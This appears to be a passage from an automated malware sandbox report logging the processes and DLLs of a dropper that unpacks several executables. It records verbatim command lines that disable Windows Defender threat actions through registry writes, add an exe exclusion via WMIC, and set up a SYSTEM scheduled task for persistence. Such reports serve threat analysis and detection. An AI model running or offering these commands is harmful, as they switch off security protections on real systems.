Source: C:\Users\user\Documents\piratemamm\ZsQxSfwnc3ehFR9PxEV79BAM.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\iyhiDENXt_q0EUrAsx1Gpb4x.exe	Process created: C:\Users\user\AppData\Local\Temp\7zSFC24.tmp\Install.exe .\Install.exe	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\ZwL0OipB1WfKucHfLydAfltr.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\main\main.bat" /S"	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\8G7TUoanzGVBa0kCulY_TPPa.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\oOMgVil3z78TF92yUiI1jBjJ.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_8.zip -oextracted	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7zSFC24.tmp\Install.exe	Process created: C:\Users\user\AppData\Local\Temp\7zS868.tmp\Install.exe .\Install.exe /GKndidLyIt "525403" /S
Source: C:\Users\user\AppData\Local\Temp\7zS868.tmp\Install.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
Source: C:\Users\user\AppData\Local\Temp\7zS868.tmp\Install.exe	Process created: C:\Windows\SysWOW64\forfiles.exe "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m ping.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True"
Source: C:\Users\user\AppData\Local\Temp\7zS868.tmp\Install.exe	Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /CREATE /TN "bGRMUcRlXIkCKIeoVz" /SC once /ST 00:18:00 /RU "SYSTEM" /TR "\"C:\Users\user\AppData\Local\Temp\7zS868.tmp\Install.exe\" u3 /hggdidOLc 525403 /S" /V1 /F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: unknown unknown
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\forfiles.exe forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\forfiles.exe forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\forfiles.exe forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\forfiles.exe forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\forfiles.exe forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
Source: C:\Windows\SysWOW64\forfiles.exe	Process created: C:\Windows\SysWOW64\cmd.exe /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
Source: C:\Windows\SysWOW64\forfiles.exe	Process created: C:\Windows\SysWOW64\cmd.exe /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\mode.com mode 65,10
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e file.zip -p151921358818216190771159712614 -oextracted
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_9.zip -oextracted
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_8.zip -oextracted
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_7.zip -oextracted
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_6.zip -oextracted
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_5.zip -oextracted
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_4.zip -oextracted
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
Source: C:\Windows\SysWOW64\forfiles.exe	Process created: C:\Windows\SysWOW64\cmd.exe /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
Source: C:\Windows\SysWOW64\forfiles.exe	Process created: C:\Windows\SysWOW64\cmd.exe /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\wbem\WMIC.exe "C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
Source: C:\Windows\SysWOW64\forfiles.exe	Process created: C:\Windows\SysWOW64\cmd.exe /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
Source: C:\Windows\SysWOW64\forfiles.exe	Process created: C:\Windows\SysWOW64\cmd.exe /C powershell start-process -WindowStyle Hidden gpupdate.exe /force
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell start-process -WindowStyle Hidden gpupdate.exe /force
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\gpupdate.exe "C:\Windows\system32\gpupdate.exe" /force
Source: C:\Users\user\AppData\Local\Temp\7zS868.tmp\Install.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
Source: C:\Users\user\AppData\Local\Temp\7zS868.tmp\Install.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\7zS868.tmp\Install.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\7zS868.tmp\Install.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\7zS868.tmp\Install.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\7zS868.tmp\Install.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\7zS868.tmp\Install.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\7zS868.tmp\Install.exe	Process created: unknown unknown
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\forfiles.exe forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown
Source: C:\Windows\SysWOW64\forfiles.exe	Process created: C:\Windows\SysWOW64\cmd.exe /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6

Source: C:\Users\user\Desktop\gHPYUEh253.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\gHPYUEh253.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\gHPYUEh253.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\gHPYUEh253.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\gHPYUEh253.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\Desktop\gHPYUEh253.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\gHPYUEh253.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\gHPYUEh253.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\gHPYUEh253.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\gHPYUEh253.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\gHPYUEh253.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\gHPYUEh253.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\gHPYUEh253.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\gHPYUEh253.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\gHPYUEh253.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\gHPYUEh253.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\gHPYUEh253.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\gHPYUEh253.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\gHPYUEh253.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\gHPYUEh253.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\gHPYUEh253.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\gHPYUEh253.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\gHPYUEh253.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\gHPYUEh253.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\gHPYUEh253.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\gHPYUEh253.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\gHPYUEh253.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\gHPYUEh253.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\gHPYUEh253.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\gHPYUEh253.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\gHPYUEh253.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\gHPYUEh253.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\gHPYUEh253.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\gHPYUEh253.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\gHPYUEh253.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\gHPYUEh253.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\E7ZgIS5gIvcD0qYA4MsN8rsr.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\E7ZgIS5gIvcD0qYA4MsN8rsr.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\E7ZgIS5gIvcD0qYA4MsN8rsr.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\E7ZgIS5gIvcD0qYA4MsN8rsr.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\E7ZgIS5gIvcD0qYA4MsN8rsr.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\E7ZgIS5gIvcD0qYA4MsN8rsr.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\E7ZgIS5gIvcD0qYA4MsN8rsr.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\3rS3zgtrHYzvSBWEegYZ8AEZ.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\3rS3zgtrHYzvSBWEegYZ8AEZ.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\3rS3zgtrHYzvSBWEegYZ8AEZ.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\3rS3zgtrHYzvSBWEegYZ8AEZ.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\3rS3zgtrHYzvSBWEegYZ8AEZ.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\3rS3zgtrHYzvSBWEegYZ8AEZ.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\3rS3zgtrHYzvSBWEegYZ8AEZ.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\ZsQxSfwnc3ehFR9PxEV79BAM.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\iyhiDENXt_q0EUrAsx1Gpb4x.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\iyhiDENXt_q0EUrAsx1Gpb4x.exe	Section loaded: acgenral.dll	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\iyhiDENXt_q0EUrAsx1Gpb4x.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\iyhiDENXt_q0EUrAsx1Gpb4x.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\iyhiDENXt_q0EUrAsx1Gpb4x.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\iyhiDENXt_q0EUrAsx1Gpb4x.exe	Section loaded: msacm32.dll	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\iyhiDENXt_q0EUrAsx1Gpb4x.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\iyhiDENXt_q0EUrAsx1Gpb4x.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\iyhiDENXt_q0EUrAsx1Gpb4x.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\iyhiDENXt_q0EUrAsx1Gpb4x.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\iyhiDENXt_q0EUrAsx1Gpb4x.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\iyhiDENXt_q0EUrAsx1Gpb4x.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\iyhiDENXt_q0EUrAsx1Gpb4x.exe	Section loaded: winmmbase.dll	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\iyhiDENXt_q0EUrAsx1Gpb4x.exe	Section loaded: winmmbase.dll	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\iyhiDENXt_q0EUrAsx1Gpb4x.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\iyhiDENXt_q0EUrAsx1Gpb4x.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\iyhiDENXt_q0EUrAsx1Gpb4x.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\iyhiDENXt_q0EUrAsx1Gpb4x.exe	Section loaded: aclayers.dll	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\iyhiDENXt_q0EUrAsx1Gpb4x.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\iyhiDENXt_q0EUrAsx1Gpb4x.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\ZwL0OipB1WfKucHfLydAfltr.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\ZwL0OipB1WfKucHfLydAfltr.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\ZwL0OipB1WfKucHfLydAfltr.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\ZwL0OipB1WfKucHfLydAfltr.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\ZwL0OipB1WfKucHfLydAfltr.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\ZwL0OipB1WfKucHfLydAfltr.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\ZwL0OipB1WfKucHfLydAfltr.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\ZwL0OipB1WfKucHfLydAfltr.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\ZwL0OipB1WfKucHfLydAfltr.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\ZwL0OipB1WfKucHfLydAfltr.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\ZwL0OipB1WfKucHfLydAfltr.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\ZwL0OipB1WfKucHfLydAfltr.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\ZwL0OipB1WfKucHfLydAfltr.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\ZwL0OipB1WfKucHfLydAfltr.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\ZwL0OipB1WfKucHfLydAfltr.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\ZwL0OipB1WfKucHfLydAfltr.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\ZwL0OipB1WfKucHfLydAfltr.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\ZwL0OipB1WfKucHfLydAfltr.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\ZwL0OipB1WfKucHfLydAfltr.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\ZwL0OipB1WfKucHfLydAfltr.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\ZwL0OipB1WfKucHfLydAfltr.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\ZwL0OipB1WfKucHfLydAfltr.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\8G7TUoanzGVBa0kCulY_TPPa.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\8G7TUoanzGVBa0kCulY_TPPa.exe	Section loaded: msimg32.dll	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\8G7TUoanzGVBa0kCulY_TPPa.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\oOMgVil3z78TF92yUiI1jBjJ.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\oOMgVil3z78TF92yUiI1jBjJ.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\oOMgVil3z78TF92yUiI1jBjJ.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\oOMgVil3z78TF92yUiI1jBjJ.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\oOMgVil3z78TF92yUiI1jBjJ.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\oOMgVil3z78TF92yUiI1jBjJ.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\oOMgVil3z78TF92yUiI1jBjJ.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\oOMgVil3z78TF92yUiI1jBjJ.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\oOMgVil3z78TF92yUiI1jBjJ.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\oOMgVil3z78TF92yUiI1jBjJ.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\oOMgVil3z78TF92yUiI1jBjJ.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\oOMgVil3z78TF92yUiI1jBjJ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\oOMgVil3z78TF92yUiI1jBjJ.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\oOMgVil3z78TF92yUiI1jBjJ.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\oOMgVil3z78TF92yUiI1jBjJ.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\oOMgVil3z78TF92yUiI1jBjJ.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\oOMgVil3z78TF92yUiI1jBjJ.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\oOMgVil3z78TF92yUiI1jBjJ.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: aclayers.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: iphlpapi.dll	Jump to behavior
